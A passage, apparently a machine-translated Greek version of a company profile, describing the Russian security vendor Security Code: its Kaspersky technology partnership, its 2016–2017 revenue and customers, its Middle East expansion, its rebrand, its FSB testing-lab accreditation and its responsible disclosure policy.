Επιπλέον, στη μονάδα του συστήματος ανίχνευσης εισβολής (IDS) που περιλαμβάνεται στο Secret Net Studio, θα είναι δυνατή η χρήση τακτικών ενημερωμένων ροών δεδομένων σχετικά με κακόβουλα αντικείμενα - Τροφοδοσίες δεδομένων απειλών. Τα εργαλεία παράδοσης ροής δεδομένων υλοποιούνται στην τεχνολογία σάρωσης ροής Kaspersky SafeStream II, η οποία έχει σχεδιαστεί για να εντοπίζει και να εξουδετερώνει τις πιο επικίνδυνες και κοινές απειλές σε πραγματικό χρόνο. Ως αποτέλεσμα, η πρόσβαση σε μολυσμένα και δυνητικά επικίνδυνα αντικείμενα και πόρους Διαδικτύου θα αποκλειστεί από το IDS ως μέρος του Secret Net Studio.

Στον τομέα της προστασίας δικτύου, σχεδιάζεται να συμπεριληφθεί η ίδια τεχνολογία - Kaspersky SafeStream II - στη μονάδα ανίχνευσης εισβολής του εμβληματικού προϊόντος "Security Code" - "Continent" 4, το οποίο ετοιμάζεται για κυκλοφορία. Ως αποτέλεσμα, θα παρέχεται βελτιωμένη προστασία της περιμέτρου του δικτύου από κακόβουλο λογισμικό (συμπεριλαμβανομένου του phishing και της δραστηριότητας bot) με την αποτροπή της διείσδυσης κακόβουλων αντικειμένων στο δίκτυο, καθώς και τον έλεγχο της πρόσβασης σε δυνητικά επικίνδυνους πόρους του Διαδικτύου. Η υποστηριζόμενη βάση τέτοιων πόρων περιλαμβάνει πάνω από 500 χιλιάδες θέσεις.

Πληροφορίες σχετικά με τις τεχνολογίες της Kaspersky Lab που είναι ενσωματωμένες σε προϊόντα Κώδικα Ασφαλείας θα περιλαμβάνονται στο υλικό μάρκετινγκ και θα αντικατοπτρίζονται στη γραφική διεπαφή χρήστη. Σύμφωνα με τους όρους της συμφωνίας, οι πωλήσεις αδειών για ολοκληρωμένα προϊόντα μπορούν να πραγματοποιηθούν τόσο στο έδαφος της Ρωσικής Ομοσπονδίας όσο και στις χώρες του μετασοβιετικού χώρου (Αρμενία, Αζερμπαϊτζάν, Λευκορωσία, Γεωργία, Καζακστάν, Κιργιστάν, Μολδαβία, Τατζικιστάν, Τουρκμενιστάν, Ουζμπεκιστάν, Ουκρανία). Στο μέλλον, καθώς η εταιρεία Security Code επεκτείνει την παρουσία της στις αγορές της Μέσης Ανατολής και της Αφρικής, σχεδιάζεται να πωλούνται ολοκληρωμένα προϊόντα σε αυτές τις περιοχές.

2017

Αύξηση κύκλου εργασιών σε ετήσια βάση κατά 29%

Στο τέλος του 2017, ο κύκλος εργασιών της εταιρείας Κωδικός Ασφαλείας ανήλθε σε 4.319.000 χιλιάδες ρούβλια, που είναι 29% υψηλότερος από την προηγούμενη περίοδο αναφοράς (3.348.000 χιλιάδες ρούβλια). Οι κορυφαίοι τομείς προϊόντων ήταν τα τμήματα προστασίας δικτύου και προστασίας τελικού σημείου. Η μεγαλύτερη δυναμική επιδείχθηκε από προϊόντα για τη διασφάλιση της ασφάλειας των ηλεκτρονικών υπογραφών, των εταιρικών δικτύων και των εικονικών περιβαλλόντων.

Το μεγαλύτερο μερίδιο στον κύκλο εργασιών της εταιρείας το 2017 κατέλαβαν τομείς όπως η ασφάλεια δικτύου (49%) και η προστασία τελικών σημείων (24,4%).

Η υψηλότερη δυναμική επιδείχθηκε από προϊόντα όπως το Jinn (6533%), το Secret Net Studio (763%) και το vGate (109%) - ο ρυθμός αύξησης των πωλήσεων του vGate το 2017 (109%) ξεπέρασε τη δυναμική του 2016 (81%) , που καθορίζονται στις εταιρείες.

Οι τρεις κορυφαίοι ηγέτες πωλήσεων στο τέλος του 2017 ήταν προστατευτικός εξοπλισμός όπως το APKSh "Continent" (2.118 εκατομμύρια RUB), το PAK «Sobol» (455 εκατομμύρια RUB) και το Jinn (398 εκατομμύρια RUB), που είχαν ήδη σημειωθεί νωρίτερα ως ο πιο δυναμικός αναπτυσσόμενος προϊόν.

Για τον Κωδικό Ασφαλείας, το 2017 σηματοδότησε την κυκλοφορία της τέταρτης γενιάς μιας σειράς προϊόντων. Μεταξύ των ριζικά ενημερωμένων εργαλείων ασφαλείας, πρέπει να σημειωθεί το Continent 4 (μέχρι στιγμής έχει κυκλοφορήσει μια έκδοση beta). Οι πωλήσεις του vGate 4.0 ξεκίνησαν τον Δεκέμβριο του 2017. Το 2017, η εταιρεία κυκλοφόρησε το Terminal, ένα thin client με ενσωματωμένα μέσα προστασίας πληροφοριών από μη εξουσιοδοτημένη πρόσβαση.

Ο συνολικός αριθμός των πελατών που αγόρασαν προϊόντα Κωδικού Ασφαλείας το 2017 ξεπέρασε τις 8 χιλιάδες προϊόντα του Κώδικα Ασφαλείας το 2017 εξασφάλισε την προστασία των ομοσπονδιακών και περιφερειακών κυβερνητικών συστημάτων πληροφοριών (GIS) κρίσιμων για τη χώρα: «Νομικά στατιστικά στοιχεία», «Δικαιοσύνη» , «Ενοποιημένη». Συμπεράσματα Κρατικού Μητρώου Εμπειρογνωμοσύνης για την Τεκμηρίωση Έργων», Ομοσπονδιακό κρατικό σύστημα πληροφοριών τιμολόγησης στις κατασκευές, «Τηλεϊατρική», «Ασφαλής Πόλη», «Απόρθωτο».

Μεταξύ των μεγαλύτερων πελατών της χρονιάς είναι το Ομοσπονδιακό Υπουργείο Οικονομικών, η Τράπεζα της Ρωσίας, η Γενική Εισαγγελία της Ρωσικής Ομοσπονδίας, η κρατική εταιρεία Rosatom, το Ομοσπονδιακό Κέντρο Πληροφόρησης υπό την Κεντρική Εκλογική Επιτροπή της Ρωσίας, το Υπουργείο Άμυνας της Ρωσική Ομοσπονδία, Υπουργείο Εσωτερικών της Ρωσίας, MOEK, Υπουργείο Οικονομικών της Ρωσικής Ομοσπονδίας, VTB Bank, Ομοσπονδιακή Υπηρεσία Ασφαλείας της Ρωσίας.

Στις 17 Οκτωβρίου, η εταιρεία Security Code ανακοίνωσε την είσοδό της στην ξένη αγορά: για επέκταση στο εξωτερικό, η εταιρεία επέλεξε το μοντέλο της δημιουργίας τεχνολογικών συμμαχιών. Τον Οκτώβριο, υπογράφηκε συμφωνία συνεργασίας με προμηθευτή λύσεων ασφάλειας πληροφοριών στις περιοχές της Μέσης Ανατολής και της Αφρικής. Προηγουμένως, η εταιρεία άρχισε να εργάζεται στη Λατινική Αμερική, όπου δημιούργησε έναν τοπικό συνεργάτη ανάπτυξης.

Προαπαιτούμενα

Μεταξύ των προαπαιτούμενων για τη μετάβαση στο εξωτερικό είναι ότι η εταιρεία διαθέτει πολλά προϊόντα ασφάλειας πληροφοριών που λειτουργούν με επιτυχία στη Ρωσία. Την ίδια στιγμή, η δυναμική της ρωσικής αγοράς ασφάλειας πληροφοριών, σύμφωνα με εκπροσώπους της εταιρείας, συγκρατείται από αρνητικούς οικονομικούς παράγοντες. Ταυτόχρονα, το εγχώριο τμήμα της αγοράς προστασίας τελικών συσκευών πλησιάζει στον κορεσμό.

Έναρξη επέκτασης στο εξωτερικό

Το "Security Code" άρχισε να αλληλεπιδρά με ξένους συνεργάτες το 2015 - τότε δημιουργήθηκε η εταιρεία KOD Latam Security στην Ουρουγουάη, αναπτύσσοντας τοπικά προϊόντα βασισμένα σε τεχνολογίες "Security Code" και προσαρμόζοντάς τα για πελάτες της Λατινικής Αμερικής. Οι κύριοι πελάτες της KOD Latam Security είναι κυβερνητικές υπηρεσίες και υπηρεσίες επιβολής του νόμου, εταιρείες μεταφορών και ο χρηματοοικονομικός τομέας.

Είσοδος στις αγορές της Μέσης Ανατολής και της Αφρικής

Για να δραστηριοποιηθεί στη Μέση Ανατολή και την Αφρική, ο Security Code επέλεξε ένα διαφορετικό επιχειρηματικό μοντέλο: ο κατασκευαστής συνήψε συμφωνία συνεργασίας με τον πάροχο λύσεων ασφάλειας πληροφοριών Al Hosani Computer LLC (ΗΑΕ), ο οποίος έγινε ο εξουσιοδοτημένος διανομέας της εταιρείας στην περιοχή.

Μέσω της Al Hosani Computer LLC, οι πελάτες στην περιοχή θα μπορούν να αγοράσουν τρία κορυφαία προϊόντα Κώδικας Ασφαλείας που καλύπτουν όλο το φάσμα των αναγκών ασφάλειας τελικού σημείου και εικονικής υποδομής:

  • Το Secret Net Studio είναι μια ολοκληρωμένη λύση για την προστασία σταθμών εργασίας και διακομιστών σε επίπεδο δεδομένων, εφαρμογών, δικτύου, λειτουργικού συστήματος και περιφερειακού εξοπλισμού.
  • Το vGate είναι μια λύση για την προστασία των πλατφορμών εικονικοποίησης που βασίζονται στο Microsoft Hyper-V.
  • Το Secret MDM είναι ένα προϊόν για τη διαχείριση της εταιρικής κινητικότητας και την προστασία δεδομένων σε κινητές συσκευές από το cloud ή στη δική σας υποδομή.

Η γκάμα λύσεων της εταιρείας Security Code συμμορφώνεται με τις νομοθετικές απαιτήσεις των χωρών της περιοχής της Μέσης Ανατολής στον τομέα της ασφάλειας πληροφοριών, καθώς και με σύγχρονα διεθνή πρότυπα για την προστασία των πληροφοριακών συστημάτων σε τομείς όπως η αναγνώριση και η πιστοποίηση ταυτότητας, ο έλεγχος πρόσβασης, προστασία από ιούς, ανίχνευση και πρόληψη εισβολών, έλεγχος συσκευών, παρακολούθηση συμβάντων ασφαλείας.

Έννοια ασφάλειας επικάλυψης

Η συνεργασία μεταξύ του Security Code και της Al Hosani Computer LLC θα επιτρέψει στους βασικούς καταναλωτές στη Μέση Ανατολή και την Αφρική να εξοικειωθούν με την έννοια της ασφάλειας επικάλυψης που βρίσκεται στον πυρήνα των προϊόντων του κατασκευαστή. Η ουσία της ιδέας είναι η δημιουργία αξιόπιστων συστημάτων σε ένα μη αξιόπιστο περιβάλλον. Ο πωλητής βοηθά τον πελάτη να δημιουργήσει ένα σύστημα ασφαλείας ανεξάρτητο από ξένα IT, το οποίο ελέγχει πλήρως τα δεδομένα και εγγυάται ότι δεν θα υπάρξουν διαρροές.

Ενημέρωση εταιρικής ταυτότητας

Σύμφωνα με την εταιρεία, η ενημέρωση της εταιρικής ταυτότητας οφείλεται στην ανάγκη να αντικατοπτρίζονται οι αλλαγές που έχουν συμβεί στην εταιρεία τα τελευταία χρόνια, καθώς και στην αυξανόμενη κλίμακα εργασιών που υλοποιούνται σε στενή συνεργασία με συμμετέχοντες στην αγορά ασφάλειας πληροφοριών.

Τα οπτικά χαρακτηριστικά άρχισαν να μεταμορφώνονται το 2015, όταν ο Κώδικας Ασφαλείας, σε μια προσπάθεια να ενισχύσει την αντίληψη της εταιρείας ως Ρώσου παίκτη στην αγορά ασφάλειας πληροφοριών, εισήγαγε εικόνες ρωσικών λαϊκών χαρακτήρων που συμβολίζουν την προστασία και τη δύναμη στην εταιρική ταυτότητα. Οι εθνικοί ήρωες - ήρωες - και τα προστατευτικά τους σύνεργα - ασπίδες, κράνη, αλυσιδωτή αλληλογραφία κ.λπ. - έχουν γίνει σύμβολα των προϊόντων του Κώδικα Ασφαλείας. Οι αλλαγές που έγιναν έτυχαν θετικής υποδοχής από την αγορά και πλέον έχουν λάβει λογική συνέχεια.

Το ενημερωμένο λογότυπο υπογραμμίζει τη ρωσική καταγωγή της εταιρείας. Το σήμα γίνεται αντιληπτό ως ένα κομμάτι ενός «ηρωικού» προστατευτικού χαρακτηριστικού - chain mail - και αντικατοπτρίζει την ετοιμότητα να ανταποκριθεί σε νέες προκλήσεις, το ενδιαφέρον για την εναρμόνιση της αλληλεπίδρασης τεσσάρων βασικών μερών στον τομέα της ασφάλειας: πωλητής, πελάτης, ρυθμιστής, συνεργάτης. Η επιθυμία να προχωρήσουμε μαζί προς έναν κοινό στόχο πραγματοποιείται οπτικά με τη μορφή μιας κλειστής αλυσίδας τεσσάρων δακτυλίων.

Επιπλέον, το σήμα υπογραμμίζει τη δέσμευση της εταιρείας να παρέχει ολοκληρωμένη προστασία δεδομένων. Το δεύτερο συμβολικό μήνυμα των τεσσάρων «όψεων» του λογότυπου είναι να αντιπροσωπεύουν τους τέσσερις τομείς ασφάλειας που παρέχουν τα προϊόντα της εταιρείας: δικτύωση, σταθμοί εργασίας και διακομιστές, εικονική υποδομή, κινητές συσκευές.

2016

2016: Επιχειρηματική ανάπτυξη κατά περισσότερο από το ένα τρίτο

Οι δραστηριότητες της εταιρείας αυξήθηκαν κατά περισσότερο από το ένα τρίτο κατά την περίοδο αναφοράς. Η μεγαλύτερη δυναμική επιδείχθηκε από προϊόντα για την προστασία δικτύων και εικονικών υποδομών. Στο τέλος του 2016, ο κύκλος εργασιών της εταιρείας Security Code ανήλθε σε 3.348.000 χιλιάδες ρούβλια (σε τιμές τελικού χρήστη). Αυτό είναι 34% υψηλότερο από πέρυσι (2.504.000 χιλιάδες RUB). Στην κατάταξη στο τέλος του 2016, η εταιρεία Security Code κατέλαβε την 34η θέση.

Η μεγαλύτερη δυναμική επιδείχθηκε από προϊόντα όπως το APKSH "Continent" (56%), το PAK "Sobol" (20%) και το vGate (81%). Οι παράγοντες ανάπτυξης περιλαμβάνουν την αυξανόμενη ζήτηση για λύσεις για την προστασία των δικτύων, των τελικών σημείων και της εικονικής υποδομής από απειλές. την ανάγκη των πελατών να επενδύσουν σε νέα εγχώρια εργαλεία ασφάλειας πληροφοριών που παρέχουν αξιόπιστη προστασία και συμμόρφωση με τις κανονιστικές απαιτήσεις.

Τα κορυφαία μερίδια στο χαρτοφυλάκιο προϊόντων κατά την περίοδο αναφοράς ανήκαν στην APKSH Continent (56,48%), τη Secret Net (19,33%) και την PAK Sobol (12,59%). Στο τέλος του 2016, η δομή πωλήσεων των προϊόντων Κωδικός Ασφαλείας έχει ως εξής:

Ο κατάλογος των μεγαλύτερων πελατών που αγόρασαν προϊόντα Κωδικού Ασφαλείας το 2016 περιλαμβάνει το Ρωσικό Υπουργείο Άμυνας, το Ομοσπονδιακό Κέντρο Πληροφόρησης υπό την Κεντρική Εκλογική Επιτροπή της Ρωσίας, το Ομοσπονδιακό Υπουργείο Οικονομικών, την Τράπεζα της Ρωσίας, την Rosatom State Corporation, το Υπουργείο Εσωτερικές υποθέσεις της Ρωσίας, η Ομοσπονδιακή Υπηρεσία Ασφαλείας της Ρωσίας, η Ομοσπονδιακή Υπηρεσία Σωφρονιστικών Σωφρονιστικών της Ρωσίας, το MOEK και η κρατική εταιρεία Rostec, τα συστήματα μεταφορών RT-Invest και η Rosprirodnadzor.

Το "Security Code" είναι διαπιστευμένο ως εργαστήριο δοκιμών του FSB

Ο "Security Code" ανακοίνωσε τον Νοέμβριο ότι έλαβε πιστοποιητικό διαπίστευσης από την FSB της Ρωσίας: η ρυθμιστική αρχή συμπεριέλαβε την εταιρεία στον κατάλογο των οργανισμών που είναι διαπιστευμένοι στο σύστημα πιστοποίησης ασφάλειας πληροφοριών για απαιτήσεις ασφαλείας για πληροφορίες που αποτελούν κρατικά μυστικά, No. ROSS RU .0003.01BI00.

Σύμφωνα με το πιστοποιητικό διαπίστευσης, το εργαστήριο δοκιμών του Κώδικα Ασφαλείας λαμβάνει το δικαίωμα να διεξάγει μελέτες των λειτουργικών ιδιοτήτων των προϊόντων για συμμόρφωση με τις απαιτήσεις των κανονιστικών εγγράφων της Ομοσπονδιακής Υπηρεσίας Ασφαλείας της Ρωσικής Ομοσπονδίας.

Η διαπίστευση ως εργαστήριο δοκιμών επιτρέπει στον Κώδικα Ασφαλείας να διεξάγει δοκιμές πιστοποίησης των ακόλουθων προϊόντων:

  • Εργαλεία λογισμικού για την προστασία πληροφοριών από μη εξουσιοδοτημένη πρόσβαση (AT) και σελιδοδείκτες λογισμικού.
  • Ασφαλές λογισμικό για την επεξεργασία πληροφοριών.
  • Λογισμικό και υλικό για την ασφάλεια των πληροφοριών.

Οι κύριες λειτουργίες του εργαστηρίου δοκιμών είναι η επιλογή δειγμάτων των παραπάνω προϊόντων για δοκιμές πιστοποίησης. ανάπτυξη προγράμματος και μεθοδολογίας δοκιμών πιστοποίησης, εφαρμογή τους, προετοιμασία πρωτοκόλλων δοκιμών πιστοποίησης και τεχνικών εκθέσεων.

Με βάση τα αποτελέσματα των δοκιμών στο εργαστήριο «Κώδικας Ασφαλείας», το FSB θα μπορεί να διενεργήσει εξέταση των υλικών δοκιμής, να εκδώσει ένα συμπέρασμα στους αιτούντες και στη συνέχεια ένα πιστοποιητικό.

Η διαδικασία ανάπτυξης προϊόντων Κωδικού Ασφαλείας συμμορφώνεται με το εθνικό πρότυπο GOST R 56939–2016

Η εταιρεία Security Code ανακοίνωσε το καλοκαίρι του 2016 την εισαγωγή μιας διαδικασίας ανάπτυξης λογισμικού (SDL - Security Development Lifecycle) σύμφωνα με το εθνικό πρότυπο GOST R 56939–2016. Η πολιτική που υιοθετεί η εταιρεία αποτελεί τις βασικές αρχές οργάνωσης διαδικασιών που στοχεύουν στην παραγωγή αξιόπιστων εργαλείων ασφάλειας πληροφοριών.

Το καλοκαίρι του 2016, η Ομοσπονδιακή Υπηρεσία Τεχνικού Κανονισμού και Μετρολογίας (Rosstandart της Ρωσίας) ενέκρινε το εθνικό πρότυπο GOST R 56939–2016 «Προστασία πληροφοριών. Ασφαλής ανάπτυξη λογισμικού. Γενικές απαιτήσεις». Το έγγραφο θα τεθεί σε ισχύ την 1η Ιουλίου 2017, ρυθμίζει το περιεχόμενο και τη διαδικασία εκτέλεσης εργασιών για τη δημιουργία αξιόπιστου λογισμικού και τη δημιουργία ενός περιβάλλοντος για την ταχεία εξάλειψη των σφαλμάτων και των τρωτών σημείων που εντοπίζονται από τους χρήστες.

Σύμφωνα με το εγκριθέν έγγραφο, οι μακροπρόθεσμοι στόχοι του «Κώδικα Ασφαλείας» διαμορφώνονται ως μέρος της συνεχούς βελτίωσης του συστήματος διαχείρισης ποιότητας (σύμφωνα με το GOST ISO 9001–2011) και πλέον εστιάζονται στις απαιτήσεις του GOST R. 56939–2016. Ειδικότερα, στο πλαίσιο του κύκλου ζωής κάθε προϊόντος, διενεργούνται διαδικασίες με στόχο την πρόληψη της εμφάνισης τρωτών σημείων και την έγκαιρη εξάλειψή τους. Εισάγονται μέθοδοι που βασίζονται στις απαιτήσεις του GOST R 56939–2016, διεξάγεται συνεχής έλεγχος των διαδικασιών ανάπτυξης και βελτιστοποίησής τους.

Αλλαγή ιδιοκτητών

Οι υπόλοιπες μετοχές διανέμονται μεταξύ των ιδρυτών της Informzashchita integrator Pyotr Efimov (7,5%) και του Dmitry Ershov (6%), καθώς και του οικονομικού διευθυντή του Security Code Alla Scryabina (5%).

Μέχρι τον Ιούνιο του 2016, ο Κωδικός Ασφαλείας ανήκε κατά 100% στην Informzashita.

Ποια είναι η Έλενα Μπόκοβα και ποιανού τα συμφέροντα εκπροσωπεί, οι «Security Code» και «Informzashita» δεν μπόρεσαν να πουν στο TAdviser.

Ο Κωδικός Ασφαλείας ανακοινώνει την έναρξη μιας Πολιτικής Υπεύθυνης Αποκάλυψης

Η εταιρεία Security Code ανακοίνωσε τον Ιούνιο του 2016 την έναρξη ενός προγράμματος με στόχο την αλληλεπίδραση με ερευνητές στον τομέα της ασφάλειας πληροφοριών. " Πολιτική Υπεύθυνης Αποκάλυψης" (Πολιτική υπεύθυνης αποκάλυψης) αποσκοπεί στη θέσπιση της διαδικασίας για τον προγραμματιστή και τους εξωτερικούς ειδικούς ασφάλειας πληροφοριών να ενεργούν όταν εντοπίζεται ευπάθεια σε οποιοδήποτε προϊόν Κωδικού Ασφαλείας.

Η προσέγγιση κατά την οποία ένας ερευνητής, όταν ανακαλύπτεται μια ευπάθεια, ειδοποιεί μόνο τον κατασκευαστή λογισμικού σχετικά, επιτρέπει στον προγραμματιστή να προστατεύει τους χρήστες και να κυκλοφορεί διορθώσεις προτού η ευπάθεια αρχίσει να γίνεται ευρέως αντικείμενο εκμετάλλευσης από εισβολείς. Το αποτέλεσμα της ρυθμιζόμενης αλληλεπίδρασης μεταξύ του προγραμματιστή και ενός εξωτερικού ειδικού ασφάλειας πληροφοριών είναι η αύξηση της ταχύτητας απόκρισης της εταιρείας σε συμβάντα, η ποιότητα των προϊόντων και, τελικά, το επίπεδο ασφάλειας των πελατών.

Αποτελεί συνήθη πρακτική για τον Κώδικα Ασφαλείας να εμπλέκει χρήστες και ερευνητές σε δοκιμές προϊόντων κατά τη φάση κυκλοφορίας beta. Συγκεκριμένα, η δοκιμή beta του προϊόντος για την προστασία σταθμών εργασίας και διακομιστών Secret Net Studio ήταν ένα επιτυχημένο παράδειγμα τέτοιας αλληλεπίδρασης. Σε τρεις μήνες, περισσότεροι από 800 ειδικοί μπόρεσαν να εξοικειωθούν με τις δυνατότητές του, οι επιθυμίες και τα σχόλια των οποίων ελήφθησαν υπόψη κατά την οριστικοποίηση του προϊόντος. Ένα από τα αποτελέσματα ήταν ο έγκαιρος εντοπισμός και η εξάλειψη μιας ευπάθειας στο προϊόν, λόγω της οποίας το πρόβλημα διορθώθηκε στην τελική έκδοση του Secret Net Studio.

«Ο έγκαιρος εντοπισμός μιας ευπάθειας είναι επωφελής για όλους - τόσο για τον πελάτη όσο και για τον προγραμματιστή: σας επιτρέπει να προσαρμόσετε τον κύκλο ζωής του προϊόντος, να ανταποκριθείτε γρήγορα σε ένα περιστατικό και να παρέχετε στους χρήστες έγκαιρη ενημέρωση προϊόντος. Ρύθμιση των σχέσεων μεταξύ της εταιρείας και ανεξάρτητων εμπειρογνωμόνων και οργανισμών του χώρου


Συνιστούμε να διαβάσετε

Κορυφή